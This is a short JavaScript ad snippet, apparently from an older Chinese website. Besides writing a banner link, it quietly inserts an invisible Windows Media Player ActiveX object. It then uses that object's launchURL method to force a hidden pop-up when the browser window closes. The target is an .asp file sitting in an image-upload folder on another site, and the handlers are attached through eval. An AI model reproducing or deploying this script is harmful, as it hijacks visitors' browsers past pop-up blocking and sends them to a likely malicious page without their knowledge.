document.writeln("<a href=\"http:\/\/bo.38nb.com\/index.html\" target=\"_blank\"><img height=60 width=500 src=\"\/template\/Scarecrow\/images\/qvod1.gif\" \/><\/a>")
var u = "6BF52A52-394A-11D3-B153-00C04F79FAA6"; 
function ext() //在关闭IE窗口的时候弹出 
{ 
if(window.event.clientY<132 || altKey) iie.launchURL(popURL); 
} 
function brs() //插入Object 
{ 
document.body.innerHTML+="<object id=iie width=0 height=0 classid='CLSID:"+u+"'></object>"; 
} 

var popURL = 'http://www.167ok.com/info/UploadPic/2007-6/adminimages.asp'; //这里修改成你的退弹网址 
eval("window.attachEvent('onload',brs);"); 
eval("window.attachEvent('onunload',ext);");